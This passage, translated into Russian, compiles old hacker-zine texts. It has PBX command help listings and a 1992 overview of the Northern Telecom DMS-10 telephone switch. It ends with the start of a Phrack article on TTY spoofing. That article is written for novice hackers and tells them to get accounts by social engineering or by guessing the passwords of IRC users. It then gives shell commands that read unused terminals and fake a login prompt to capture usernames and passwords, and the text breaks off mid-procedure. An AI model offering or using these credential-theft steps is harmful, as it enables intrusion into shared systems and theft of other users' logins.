- **Save** — сохраняет выполненную работу
- **Set** — устанавливает время и т.д.
- **Status** — показывает текущее состояние системы

---

### Справка List

```
Please enter one of the following object command words:
                                COMMANDS UNDER "LIST"
abbreviated-dialing      groups-of-extension      personal-CO-line
aca-parameters          hunt-group          pickup-group
bridged-extensions      intercom-group      station
configuration           measurements        term-ext-group
coverage                modem-pool          trunk-group
data-module             performance
```

Or press CANCEL to cancel the command

- **Abbreviated-Dialing** — функция быстрого набора с голосового терминала
- **Aca-parameters** — Automatic Circuit Assurance (автоматическое обеспечение цепи)
- **Bridged Extensions** — используется для объединения расширений
- **Configuration** — общая конфигурация системы
- **Coverage** — покрытие вызовов
- **Data-module** — описание используемого модуля данных
- **Groups Of Extensions** — список всех доступных расширений
- **Hunt-Group** — проверка активного или незанятого состояния номеров расширений
- **Intercom-group** — список интеркомов и их параметры
- **Modem-Pool** — коммутируемые соединения между модулями данных и аналоговыми данными
- **Performance** — производительность системы
- **Personal-CO-line** — выделенные транки к/от публичных терминалов
- **Pickup-group** — конфигурация перехвата вызовов
- **Station** — список всех назначенных станций
- **Term-ext-group** — группа завершающих расширений
- **Trunk-Group** — список ВСЕХ транков; детали, как в Display, НЕ отображаются

---

### Справка Dis

```
Please enter one of the following object command words:
                                Commands Under 'Display'
abbreviated-dialing      data-module          personal-CO-line
```

|                         |                          |                   |
|-------------------------|--------------------------|-------------------|
| alarms                  | dialplan                 | pickup-group      |
| allowed-calls           | digit-absorption         | port              |
| announcements           | ds1                      | psc               |
| attendant               | errors                   | remote-access     |
| button-location-aca     | feature-access-codes     | route-pattern     |
| circuit-packs           | hunt-group               | station           |
| code-restriction        | intercom-group           | synchronization   |
| communication-interface | ixc-codes                | system-parameters |
| console-parameters      | listed-directory-numbers | term-ext-group    |
| cor                     | modem-pool               | time              |
| cos                     | paging                   | trunk-group       |
| coverage                | permissions              |                   |

Or press CANCEL to cancel the command

- **Abbreviated Dialing** — как выше, но с более подробной информацией
- **Alarms** — информация об авариях (какие включены/выключены)
- **Allowed-Calls** — коды операторов дальней связи и список разрешённых вызовов
- **Announcements** —
- **Attendant** — доступ оператора к транкам без голосовых терминалов
- **Button-location-aca** — расположение выбранного ACA
- **Circuit-packs** — типы используемых линий
- **Code-Restriction** — ограничения для HNPA и FNPA
- **Communication-Interface** — информация о коммуникационном интерфейсе
- **Console-Parameters** — параметры консоли и т.д.
- **Cor** — Class Of Restriction (показывает COR для введённого номера)
- **Cos** — Class Of Service (класс обслуживания)
- **Coverage** — покрытие системы (голосовые терминалы и т.д.)
- **Data-Module** — информация о введённых каналах данных
- **Dialplan** — текущая конфигурация расширений и т.д.
- **Digit-absorption** —
- **Ds1** — используется для услуг транков-связок
- **Errors** — все ошибки в системе
- **Feature-Access-Codes** — список кодов доступа ко всем функциям всей системы
- **Hunt-Group** — как выше, но с более подробной информацией по введённому номеру
- **Intercom Group** — список имён и назначений интеркомов
- **IXC-Codes** — коды операторов межузловой связи (Inter-eXchange Carrier)
- **Listed-Directory** — номера в справочнике системы
- **Modem-Pool** — информация о выбранном канале (скорость, чётность и т.д.)
- **Paging** — пейджинговые станции на голосовых терминалах
- **Permissions** — привилегии других аккаунтов/стандартных учётных записей
- **Personal-CO-Line** — как выше, но более подробно
- **Pickup-Group** — имена и расширения в указанной группе номеров
- **Port** — информация об указанном порте
- **PSC** — поддерживает соединение между двумя точками данных пока система активна
- **Remote-Access** — показывает настроенный удалённый доступ (если есть)
- **Route-Pattern** — схема маршрутизации в рамках голосовых терминалов и т.д.
- **Station** — подробная информация о введённом номере станции
- **Synchronization** — расположение пакетов DS1
- **System-Parameters** — список всех доступных параметров системы
- **Term-Ext-Group** — как выше, но более подробно
- **Time** — текущее время и дата
- **Trunk-Group** — вся доступная информация о выбранном транке

# Как собрать коммутатор DMS-10

**Автор:** The Cavalier, Society for the Freedom of Information

11 марта 1992 года

---

По мере того как сложность телефонной сети растёт в геометрической прогрессии с каждым десятилетием, для энтузиаста в области телекоммуникаций важнее чем когда-либо понимать возможности и принципы работы типичного центрального офисного (CO) коммутатора. Данный текстовый файл (составленный на основе нескольких сотен страниц документации Northern Telecom) описывает возможности и работу цифрового мультимплексного коммутатора (DMS)-10 — и при наличии богатого воображения вы, возможно, сможете собрать такой сами.

Коммутатор DMS-10 — это «младший брат» DMS-100, основное различие между ними заключается в ёмкости линий. Серия DMS прямо конкурирует с линейкой ESS от AT&T (для знающих: рассматриваемые функции соответствуют программному выпуску NT Generic Release 405.20 для коммутатора DMS-10 серии 400).

---

## Содержание

- I. ОБЗОР / АППАРАТНЫЕ ХАРАКТЕРИСТИКИ ЦП
- II. ХАРАКТЕРИСТИКИ СЕТИ
  - 1. Сетевое оборудование
  - 2. Сетевое программное обеспечение
  - 3. Расширенные сетевые службы
- III. ХАРАКТЕРИСТИКИ ВНЕШНЕГО ОБОРУДОВАНИЯ
  - 1. Оборудование для тарификации
  - 2. Блоки записанных объявлений
  - 3. Прочее вспомогательное оборудование
- IV. ТЕХНИЧЕСКОЕ ОБСЛУЖИВАНИЕ И АДМИНИСТРИРОВАНИЕ
  - 1. ОАМ
  - 2. Руководство по интерактивным оверлейным программам
- V. СПЕЦИФИКАЦИЯ
- VI. КРАТКИЙ ГЛОССАРИЙ

---

## I. Обзор / Аппаратные характеристики ЦП

### Обзор

Коммутатор DMS-10 рассчитан на обслуживание до 10 800 линий и предназначен для пригородных деловых центров, офисных парков и сельских районов. Он может быть установлен в кластерной конфигурации для централизации процедур технического обслуживания и администрирования, а также для увеличения суммарной ёмкости до 50 000 линий. Коммутатор способен функционировать в роли Оконечного офиса (ЕО), Оконечного офиса равного доступа (ЕАЕО) и Транзитного узла доступа (АТ) и относится к классу 5. Он поддерживает до 3 408 транков и 16 000 абонентских номеров. Исходящая сигнализация может осуществляться в режимах DP (импульсный набор), MF (многочастотный) или DTMF (двухтональный многочастотный), что обеспечивает совместимость

как с новыми, так и со старыми коммутаторами (вольный перевод: коммутатор небольшой по большинству стандартов, но с колоссальным функционалом на единицу объёма).

### **Аппаратные характеристики**

Коммутатор DMS-10 построен на базе процессора семейства 680x0 и в стандартной конфигурации имеет 1 МБ ОЗУ. Процессор и память дублированы; резервный процессор находится в режиме горячего резерва. Система памяти известна как система n+1 — это означает полное дублирование памяти.

---

## **II. Характеристики сети**

### **Сетевое оборудование**

Сетевое оборудование DMS-10 состоит преимущественно из РЕ — периферийных блоков транков и линейных плат. РЕ принимают входящие аналоговые голосовые сигналы, оцифровывают их в 8-битные сигналы ИКМ (Импульсно-кодовая модуляция) и передают в основную коммутационную матрицу. Там сигнал маршрутизируется на другой транк или линию и преобразуется обратно в аналоговую форму для передачи на другой стороне соединения. Следует отметить, что обработка голоса в цифровом домене позволяет перенаправлять сигнал, прослушивать его или ретранслировать через всю страну без потери качества, пока сигналы остаются в формате ИКМ.

### **Сетевое программное обеспечение**

DMS-10 располагает разнообразным программным обеспечением для удовлетворения различных коммутационных потребностей. Хороший пример — возможность объединения нескольких коммутаторов DMS-10 в кластер (или звёздную конфигурацию, для знакомых с сетевыми топологиями). В такой схеме один DMS-10 настраивается как HSO (Хост-коммутационный офис), а до 16 коммутаторов DMS-10 — как SSO (Спутниковые коммутационные офисы), что позволяет централизованно управлять тарификацией, техническим обслуживанием и администрированием из HSO. При этом все спутники могут функционировать автономно в случае отключения от HSO.

Ещё одной особенностью сетевого ПО DMS-10 являются нафиксированные соединения (nailed-up connections), широко известные как петли (loops). DMS-10 поддерживает до 48 петель между любыми двумя точками. Соединения непрерывно контролируются компьютером коммутатора, и при их разрыве они восстанавливаются.

Meridian Digital Centrex (MDC) — это название группы функций, позволяющих предприятиям пользоваться преимуществами оборудования ATC (PBX — Private Branch Exchange) посредством простого обращения к местному оператору связи.

### **Расширенные сетевые службы (ANS)**

При оснащении DMS-10 32-битным RISC-процессором 400E коммутатор получает возможность обслуживать 12 000 линий, демонстрирует прирост производительности на 80%, поддерживает шестикратное увеличение ёмкости памяти и, что, пожалуй, наиболее важно, способен запускать программное обеспечение расширенных сетевых служб NT. Оно включает Общеканальную



сигнализацию 7 (CCS7), расширенный Meridian Digital Centrex, подключение к DMS SuperNode и ISDN. CCS7 — это междомутационный протокол сигнализации Системы сигнализации 7 (SS7), и данная тема заслуживает отдельного текстового файла (см. статьи New Fone eXpress/NFX о SS7).

---

### III. Характеристики внешнего оборудования

#### Спецификации формата тарификации

DMS-10 может записывать данные тарификации AMA (Автоматический учёт сообщений) как в формате Bellcore, так и в формате Northern Telecom, и сохранять эти данные одним из нескольких способов:

- сохранение на магнитную ленту плотностью 800 BPI (бит на дюйм) на 9-дорожечный накопитель MTU (Magnetic Tape Unit);
- сохранение на плату IOI (Input/Output Interface) с жёстким диском SCSI объёмом 64 МБ и последующая передача на ленточные накопители плотностью 1600 BPI для периодической транспортировки в RAO (Regional Accounting Office — Региональный учётный офис);
- передача данных через коммутируемые или выделенные телефонные линии с помощью Cook BMC (Billing Media Converter) II — системы с жёстким диском, которая по запросу передаёт записи о вызовах непосредственно в RAO. Cook BMC II поддерживает шесть различных форматов передачи:

- **AMATS (BOC)** [макс. скорость: 9600 bps]

Записи о вызовах хранятся в формате Bellcore AMA и опрашиваются по протоколу BX.25. Предусмотрены два порта опроса, один из которых является резервным.

- **Совместимый с VIP** [макс. скорость: 9600 bps (2400×4)]

Записи о вызовах хранятся в формате Bellcore AMA и опрашиваются по протоколу HDLC Lap B. Четыре порта опроса могут работать одновременно при суммарной пропускной способности 9600 bps. Совместим с промежуточным процессором тарификации GTE.

- **Bellcore AMA с опросом BiSync** [макс. скорость: 9600 bps]

Записи хранятся в формате Bellcore AMA и опрашиваются по протоколу IBM BiSync 3780. Предусмотрен один порт опроса. Вариант предназначен для операторских компаний, использующих независимые центры обработки данных или протоколы публичного домена.

- **Bellcore AMA с опросом HDLC** [макс. скорость: 9600 bps]

Записи хранятся в формате Bellcore AMA и опрашиваются по протоколу HDLC (High-level Data Link Control). Предусмотрен один порт.

- **NT AMA с опросом HDLC** [макс. скорость: 9600 bps]

Записи хранятся в формате Northern Telecom AMA и опрашиваются по протоколу HDLC.

- **NT AMA с опросом BiSync** [макс. скорость: 4800 bps]

Записи хранятся в формате Northern Telecom AMA и опрашиваются по протоколу BiSync.

- сопряжение с AMATS (Automatic Message Accounting Teleprocessing System) компании AT&T;
- сопряжение с Telesciences PDU-20.

Все перечисленные системы хранения являются полностью отказоустойчивыми, а системы с опросом поддерживают повторный опрос уже считанных данных.

## Блоки записанных объявлений

Система DMS-10 может быть подключена к одному или нескольким блокам записанных объявлений через двухпроводные транки E&M. К поддерживаемым устройствам относятся: встроенная плата Northern Telecom DRA PCP (Digital Recorded Announcement Printed Circuit Pack), Cook Digital Announcer и Audichron IIS System 2E.

Плата DRA PCP интегрирована непосредственно в систему DMS-10, в отличие от устройств Cook и Audichron, которые являются внешними по отношению к коммутатору. Она обеспечивает воспроизведение записанных объявлений на основе сменных плат и предоставляет следующие функции:

- четыре порта для доступа абонентов к объявлениям;
- немедленное подключение при свободной плате;
- сигнал возврата вызова при занятости до освобождения порта;
- программно выбираемая длина сообщений (до 16 секунд);
- локальный и удалённый доступ для записи сообщений;
- опциональное резервное питание памяти от батареи на случай отключения электроэнергии;
- не требует разводки на главном распределительном фрейме (MDF).

## Прочее внешнее оборудование

DMS-10 также поддерживает систему экстренной отчётности Tellabs 292, локальный испытательный шкаф NT Model 3703 и волоконно-оптическую систему передачи NT FMT-150. Возможно, об этом оборудовании будет рассказано подробнее позднее.

---

## IV. Техническое обслуживание и администрирование

### ОАМ

ОАМ (Operations, Administration, and Maintenance — эксплуатация, администрирование и техническое обслуживание) осуществляется через локальный терминал технического обслуживания или через удалённое соединение по коммутируемой линии. DMS-10 обменивается данными со скоростью от 110 до 9600 бод через стандартный порт RS-232C в формате ASCII. Допускается до 16 соединений или терминалов для технического обслуживания; различным терминалам могут быть назначены классы безопасности, ограничивающие доступ только к программам, необходимым для конкретной должности. Терминалы также защищены паролями, а неудачные попытки ввода пароля ведут к отказу в доступе, кастрации пользователя и детонации трёх мегатонн тротила прямо на месте.

Программная модель DMS-10 состоит из ядра программы, которое загружает оверлеи для отдельных функций управления. Оверлеи бывают двух типов: свободно работающие — грубо аналогичные демонам в Unix-среде и запускаемые автоматически по расписанию — и интерактивные, взаимодействующие непосредственно с пользователем терминала.

К основным свободно работающим программам относятся: CED (Control Equipment Diagnostic — диагностика управляющего оборудования), NED (Network Equipment Diagnostic — диагностика сетевого оборудования), PED (Peripheral Equipment Diagnostic — диагностика периферийного оборудования) и DED (Digital Equipment Diagnostic — диагностика цифрового оборудования). CED

запускается раз в 24 часа и тестирует оборудование, связанное с шинами ЦП и резервным ЦП. NED запускается по мере необходимости, сканирует неисправности в сети и устраняет их — как правило, переключаясь на резервное оборудование и иницируя аварийные сигналы. PED настраивается во время установки коммутатора для запуска по расписанию оператора и систематически тестирует каждый транк и линию, подключённые к центральному офису. DED тестирует входное линейное оборудование, преобразующее аналоговый голос в цифровой ИКМ.

## Руководство по интерактивным оверлейным программам

Ниже приведён полный список кодов интерактивных оверлейных программ — на случай, если кому-то из вас повезёт оказаться у нужного терминала. Для переключения на оверлей введите OVLY . Для перехода к подоверлею введите CHG . Имейте в виду, что NT встроила справочные системы в некоторые программы — они доступны по нажатию «?» в строке приглашения.

| Оверлей | Описание и последовательности подсказок                      |
|---------|--------------------------------------------------------------|
| -----   | -----                                                        |
| ALRM    | Аварийные сигналы                                            |
|         | ALPT - Точки сканирования аварий                             |
|         | SDPT - Точки распределения сигналов                          |
| AMA     | Автоматический учёт сообщений                                |
|         | AMA - Автоматический учёт сообщений                          |
|         | MRTI - Индекс обработки по тарифу за сообщение               |
|         | PULS - Таблица импульсов тарификации сообщений               |
|         | TARE - Таблица тарифов                                       |
| AREA    | Зона                                                         |
|         | CO - Код центрального офиса                                  |
|         | HNPA - Домашняя зона нумерации                               |
|         | RC - Зона тарифа                                             |
|         | RTP - Пакет тарификации                                      |
| CLI     | Идентификация вызывающей линии                               |
| CNFG    | Запись конфигурации                                          |
|         | ALRM - Параметры системы аварийных сигналов                  |
|         | AMA - Параметры автоматического учёта сообщений              |
|         | BUFF - Системные буферы                                      |
|         | CCS - Услуги пользовательского вызова                        |
|         | CCS7 - Общеканальная сигнализация №7                         |
|         | CDIG - Трансляция цифр окружности                            |
|         | CE - Данные общего оборудования                              |
|         | CLUS - Данные кластера                                       |
|         | COTM - Тайминг вызовов при перегрузке ЦО                     |
|         | CP - Параметры обработки вызовов                             |
|         | CROT - Централизованная автоматическая отчётность по транкам |
|         | CRTM - Тайминг обычной обработки вызовов ЦО                  |
|         | CSUS - Централизованная приостановка AMA                     |
|         | DLC - Назначение контроллера канала данных для кластеров     |
|         | E800 - Расширенная служба 800                                |
|         | FEAT - Функции                                               |
|         | GCON - Общие условия                                         |
|         | HMCL - Назначение класса сообщений хоста                     |
|         | IOI - Дополнительные платы интерфейса ввода/вывода           |
|         | IOSF - Назначение полки ввода/вывода                         |
|         | LCDR - Локальная запись детализации вызовов                  |
|         | LIT - Параметры тестирования изоляции линии                  |
|         | LOGU - Назначение логических устройств                       |
|         | MOVE - Перемещение удалённого модуля концентрации линий      |
|         | MTCE - Параметры технического обслуживания                   |
|         | MTU - Параметры магнитного ленточного накопителя             |
|         | OPSM - Оперативные измерения                                 |

|      |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
|------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|      | <p>OVLY - Планирование оверлеев</p> <p>PSWD - Доступ по паролю</p> <p>SITE - Назначение площадки</p> <p>SSO - Назначения спутниковых коммутационных офисов</p> <p>SUB - Подкоммутатор</p> <p>SYS - Системные параметры</p> <p>TRB - Периодическая отчётность о состоянии неисправностей</p> <p>VERS - Версия</p>                                                                                                                                                                                                                                                                                                             |
| CPK  | <p>Плата схем</p> <p>ACT - Определение АС-тестирования</p> <p>DCM - Модуль цифрового несущего</p> <p>LPK - Линейные платы оборудования концентрации линий</p> <p>PACK - Платы периферийного оборудования</p> <p>PMS - Плата системы технического обслуживания периферии</p> <p>PSHF - Полка периферийного оборудования</p> <p>RMM - Модуль удалённого технического обслуживания</p> <p>RMPK - Удалённая полка</p> <p>RSHF - Удалённая полка концентрации линий</p> <p>SBLN - Резервная линия</p> <p>SLC - SLC-96</p> <p>SLPK - Платы SLC-96</p>                                                                              |
| DN   | <p>Абонентский номер</p> <p>ACDN - Номер для доступа</p> <p>CRST - Ограничение конкретного оператора</p> <p>ICP - Перехват</p> <p>RCFA - Отображение удалённой переадресации вызовов</p> <p>ROTL - Линия тестирования удалённого офиса</p> <p>STN - Определение станции</p>                                                                                                                                                                                                                                                                                                                                                  |
| EQA  | <p>Равный доступ</p> <p>CARR - Данные оператора</p> <p>CC - Коды стран</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| HUNT | <p>Поиск (Hunting)</p> <p>DNH - Поиск по абонентскому номеру</p> <p>EBS - Поиск расширенных бизнес-услуг</p> <p>KEY - Поиск с остановкой или случайной занятостью</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| LAN  | <p>Локальная сеть</p> <p>LAC - Контроллер приложений LAN</p> <p>LCI - Интерфейс LAN с ЦП</p> <p>LSHF - Полка сообщений LAN</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| NET  | <p>Сеть</p> <p>D1PK - Плата интерфейса DS-1 (SCM-10S)</p> <p>1FAC - Интерфейсные платы</p> <p>LCM - Модуль концентрации линий</p> <p>LCMC - Модуль контроллера концентрации линий</p> <p>NWPK - Сетевые платы</p> <p>RCT - Удалённый терминал концентратора</p> <p>REM - Модуль удалённого оборудования</p> <p>RS LC - Контроллер удалённого модуля абонентских линий</p> <p>RSLE - Оборудование удалённого модуля абонентских линий</p> <p>RSLM - Модуль удалённых абонентских линий</p> <p>SCM - Модуль несущей абонента (DMS-1)</p> <p>SCS - Полка SCM-10S (SLC-96)</p> <p>SRI - Плата удалённого интерфейса абонента</p> |
| NTWK | <p>Сеть</p> <p>ACT - Определение АС-тестирования</p> <p>D1PK - Плата интерфейса DS-1 (SCM-10S)</p> <p>DCM - Модуль цифрового несущего</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |

|      |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
|------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|      | 1FAC - Интерфейсные платы<br>LCM - Модуль концентрации линий<br>LPK - Линейные платы оборудования концентрации линий<br>NWPK - Сетевые платы<br>PACK - Платы периферийного оборудования<br>PMS - Платы системы технического обслуживания периферии<br>PSHF - Полка периферийного оборудования<br>RCT - Удалённый терминал концентратора<br>REM - Модуль удалённого оборудования<br>RSHF - Удалённая полка<br>SBLN - Резервная линия<br>SCM - Модуль несущей абонента<br>SCS - Полка SCM-10S (SLC-96)<br>SLC - SLC-96<br>SLPK - Линейные платы SLC-96<br>SRI - Удалённый интерфейс абонента (RLCM) |
| ODQ  | Запрос офисных данных<br><br>ACDN - Номер для доступа<br>CG - Группа операторов<br>CNTS - Счётчики<br>DN - Абонентский номер<br>DTRK - Цифровые транки (линия и транк)<br>LINE - Линии (линия и транк)<br>PIN - Персональный идентификационный номер<br>STOR - Хранение в памяти<br>TG - Транковая группа<br>TRK - Транки (линия и транк)                                                                                                                                                                                                                                                         |
| QTRN | Запрос трансляций<br><br>ADDR - Трансляция адресов<br>EBSP - Трансляция префиксов расширенных бизнес-услуг<br>ESAP - Префикс автономного аварийного режима<br>PREFIX - Трансляция префиксов<br>SCRN - Трансляция скрининга<br>TRVR - Верификация трансляции                                                                                                                                                                                                                                                                                                                                       |
| ROUT | Маршруты<br><br>CONN - Нафиксированные соединения<br>DEST - Пункты назначения<br>POS - Позиции централизованного AMA<br>ROUT - Маршруты<br>TR - Платные регионы                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| SNET | Сеть сигнализации CCS7<br><br>SNLS - Набор звеньев сигнализации<br>SNL - Звено сигнализации<br>SNRS - Набор маршрутов сети сигнализации                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| TG   | Транковые группы<br><br>INC - Входящие транковые группы<br>OUT - Исходящие транковые группы<br>2WAY - Двусторонние транковые группы                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| THGP | Группы тысяч                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| TRAC | Трассировка вызовов                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| TRK  | Транки<br><br>DTRK - Цифровые транки<br>TRK - Аналоговые или цифровые транки записанных объявлений                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| TRNS | Трансляции<br><br>ADDR - Трансляция адресов                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |

EBSP – Трансляция префиксов EBS  
ESAP – Префикс автономного аварийного режима  
PREFIX – Трансляция префиксов  
SCRN – Трансляция скрининга

---

## V. Спецификация

|                                                                                          |                                                                                                |
|------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------|
| Макс. количество абонентских линий:<br>(в автономном режиме)                             | 10 800                                                                                         |
| Макс. количество транков:                                                                | 3 408                                                                                          |
| - Входящие транковые группы:                                                             | 127                                                                                            |
| - Исходящие транковые группы:                                                            | 127                                                                                            |
| - Двусторонние транковые группы:                                                         | 127                                                                                            |
| - Максимальное количество маршрутов:                                                     | 512                                                                                            |
| - Максимальное количество транков в группе:                                              | 255                                                                                            |
| Абонентские номера:                                                                      | 16 000                                                                                         |
| Коды офисов:                                                                             | 8                                                                                              |
| Домашняя зона нумерации:                                                                 | 4                                                                                              |
| Группы тысяч:                                                                            | 64                                                                                             |
| Количество сетевых групп:                                                                | 1 или 2                                                                                        |
| Общая ёмкость сети:                                                                      |                                                                                                |
| - Один сетевой модуль:                                                                   | 5 400 линий POTS + 600 транков                                                                 |
| - Два сетевых модуля:                                                                    | 10 800 линий POTS + 1 200 транков                                                              |
| Трафик                                                                                   |                                                                                                |
| - Вызовы в час наибольшей нагрузки                                                       | 38 000                                                                                         |
| - Среднее количество попыток вызовов<br>в час наибольшей нагрузки<br>в напряжённый сезон | 29 000                                                                                         |
| - CCS на линию                                                                           | 5,18 сантизвонко-секунд                                                                        |
| - CCS на транк                                                                           | 27,0 сантизвонко-секунд                                                                        |
| - Суммарные CCS                                                                          | 133 000 сантизвонко-секунд                                                                     |
| Исходящая сигнализация                                                                   | DP, MF или DTMF                                                                                |
| Входящая сигнализация                                                                    |                                                                                                |
| - Транки                                                                                 | DP, MF или DTMF                                                                                |
| - Линии                                                                                  | DP или DTMF                                                                                    |
| Ёмкость регистра                                                                         |                                                                                                |
| - Исходящие                                                                              | DP=16 цифр<br>DTMF=16 цифр<br>MF=14 цифр+KP+ST<br>LEAS MF=20 цифр+KP+ST<br>[LEAS Route Access] |
| - Входящие                                                                               | DP=14 цифр<br>DTMF=16 цифр<br>MF=14 цифр                                                       |

---

## VI. Краткий глоссарий

**DP (Dial Pulse — Импульсный набор)** — форма сигнализации, передающая серии импульсов для обозначения цифр. Медленнее, чем DTMF и MF. Вытеснена DTMF. Используется в старых шаговых

коммутаторах; до сих пор встречается на ряде абонентских линий, несмотря на доступность DTMF.

**Внутриполосная сигнализация (In-band Signaling)** — передача управляющих сигналов в голосовой полосе 300–3300 Гц, то есть слышимых абонентами.

**Внеполосная сигнализация (Out-of-band Signaling)** — передача управляющих сигналов выше или ниже голосовой полосы 300–3300 Гц. См. SS7, CCS7.

**DTMF (Dual Tone Multi-Frequency — Двухтональный многочастотный набор)** — форма внутриполосной сигнализации, передающей одновременно два тона для обозначения цифры. Один тон соответствует строке, другой — столбцу. Быстрый и технически простой способ набора, распространённый практически по всей территории США. «Белые ящики» генерируют тоны DTMF, известные также как Touch Tones или Digitones. См. DP, MF.

**MF (Multi-Frequency — Многочастотный)** — форма внутриполосной сигнализации, аналогичная DTMF, но с иным кодированием сигналов (тоны строки и столбца различаются, поскольку клавиатура MF не имеет прямоугольной матричной раскладки). Это «операторские тоны». «Синие ящики» генерируют эти тоны. См. DTMF, внутриполосная сигнализация.

**CCS7 (Common Channel Signaling 7 — Общеканальная сигнализация 7)** — часть спецификации Системы сигнализации 7; CCS7 передаёт управляющие сигналы выше или ниже голосовой полосы для управления коммутационным оборудованием, что позволяет одновременно передавать управляющие сигналы и голос. См. SS7.

**SS7 (Signaling System 7 — Система сигнализации 7)** — межкоммутационный протокол сигнализации, разработанный Bellcore — исследовательским консорциумом региональных операторов (RBOC). Относительно новый протокол, работающий исключительно на цифровых коммутаторах. См. CCS7, CLASS.

**CLASS (Custom Local Area Signaling Services — Пользовательские службы местной сигнализации)** — ряд функций абонентских линий, только начинавших внедряться по всей территории США на момент написания данной статьи. См. SS7, CCS7.

**Centrex** — схема, превращающая коммутатор во внешнюю АТС (off-site PBX) для корпоративных пользователей. Как правило, может сосуществовать с существующими линиями.

---

По любым дополнительным вопросам обращайтесь по адресу WWIVNet THE CAVALIER@3464.

Благодарности Northern Telecom (самый доброжелательный отдел продаж среди производителей коммутаторов, да ещё и с убийственным продуктом!), Pink Flamingo, Taran King, Grim и всей команде, поддерживавшей NFX «в стародавние времена».

# Подмена ТТУ

**Автор:** VaxBuster

16 июля 1992 г.

---

Обратите внимание: данный файл распространяется ИСКЛЮЧИТЕЛЬНО в составе Phrack и НЕ будет передан никакому другому лицу или изданию для публикации.

Инструкции намеренно изложены подробно, чтобы начинающий хакер мог в них разобраться; опытные хакеры, в свою очередь, могут пролистать этот материал, не останавливаясь на деталях конкретного синтаксиса команд.

В UNIX-системах существует множество способов получить имена учётных записей и пароли. Одни хакеры предпочитают утащить файл паролей и запустить на нём программы вроде Crack и Killer Cracker, чтобы вытащить учётные данные. Другие полагаются на ошибки и дыры в системе, чтобы получить root-доступ. Оба метода работают, но что делать, если файл паролей скрыт (и это НЕ файл yellow pages!)? И что делать, если все дыры уже залатаны годами предыдущих взломщиков? Мне как раз попалась система, где всё именно так и обстоит. Я даже позволял хакерам использовать один из моих аккаунтов для попытки получить root-привилегии — из десяти или около того попытавшихся все потерпели неудачу. Единственным выходом для меня оставалось найти КАКОЙ-ТО другой способ получить учётные записи на системе, чтобы поддерживать МОЮ безопасность.

Подмену ТТУ зачастую считают чем-то жалким, и некоторые вообще не относят её к «хакерским техникам». Люди обычно полностью её игнорируют, многие даже не знают о её существовании или не знают, КАК её применять. Пожалуй, стоит начать с определения термина. ТТУ-спуфинг — это либо установка программы типа «троянский конь», которая следит за определённым (или несколькими) ТТУ и ждёт, пока пользователь войдёт в систему; вместо обычного системного приглашения программа, которую Вы установили, выводит стандартное приглашение «login:», а после того как пользователь вводит имя, запрашивает « password:» — и вот у вас новый аккаунт. Это можно сделать как программно, так и во многих случаях вручную.

Из всех моих знакомых 90 процентов кричат мне, что это невозможно, потому что их система не разрешает чтение/запись ТТУ. Когда я говорю ТТУ, я имею в виду имя физического устройства вида /dev/ttyxx, где xx — числовые, буквенные или буквенно-числовые символы (например, 03, pa, p4 — все допустимы). За всё время работы с различными системами я не встречал ни одной, которая не разрешала бы чтение/запись в процесс LOGIN. Дело в том, что система не переключает ТТУ в режим доступа только для владельца r/w ДО ТЕХ ПОР, ПОКА НЕ БУДУТ ПРОВЕРЕНЫ ИМЕНА И ПАРОЛЬ ПОЛЬЗОВАТЕЛЯ. Консоль, или ttyco, является исключением — её права ВСЕГДА -rw-----.

Теперь, когда вы знаете, ЧТО такое ТТУ-спуфинг и общую идею, ПОЧЕМУ он работает, я расскажу о различных способах его реализации.

## Необходимые условия

Для ТТУ-спуфинга вам НЕОБХОДИМО иметь хотя бы ОДНУ действующую учётную запись на системе. Аккаунт можно получить с помощью небольшой социальной инженерии, или попробовать выполнить /who \*sitename в IRC, чтобы получить ники, использовать их как имена пользователей и попытаться подобрать пароль. Поищите пользователей в каналах #hottub и других



тупых каналах — именно у них, как правило, простые пароли. Или воспользуйтесь любым другим доступным вам методом.

## Ручная подмена ТТУ

Получив учётную запись, всё остальное — дело техники. Просто создайте скрипт в vi или emacs, который перенаправляет ввод с НЕИСПОЛЬЗУЕМЫХ ТТУ в cat. Поскольку вы являетесь стандартным выводом cat, всё, что поступает с отслеживаемого ТТУ, будет отображаться на вашем экране. Вероятно, стоит следить примерно за 10–15 терминалами. Пример скрипта:

```
cat </dev/tty01&
cat </dev/tty02&
cat </dev/tty0a&
cat </dev/tty0l&
```

Затем просто запустите скрипт через source. Как только пользователь подойдёт к терминалу (или зайдёт удалённо через telnet и т. д.), он нажмёт Enter в попытке получить приглашение для входа. Многие пользователи также введут имя пользователя в расчёте на то, что система просто ждёт его. Обязательно запишите имя пользователя. Через некоторое время они, вероятно, начнут жать управляющие символы — Ctrl-D, Ctrl-Z и прочее. Вот в чём проблема: когда cat встречает ^D, он считает, что получил признак конца файла (EOF) и что его работа завершена. Вы увидите нечто вроде:

```
[2] Exit          DONE          cat </dev/tty01
```

или

```
[2] Exit 1        cat:i/o error    cat </dev/tty01
```

После этого нужно НЕМЕДЛЕННО (а лучше ещё быстрее) «перекатить» этот терминал. Получив сигнал DONE, вы знаете, КАКОЙ терминал активен. Затем введите что-то вроде echo -n "login:" >/dev/tty01&. Амперсанд важен: если пользователь перешёл на другой терминал, echo может зависнуть и заблокировать управление аккаунтом. Если примерно через 10 секунд echo не вернул:

```
[5] Exit          DONE          echo -n login: >/dev/tty01
```

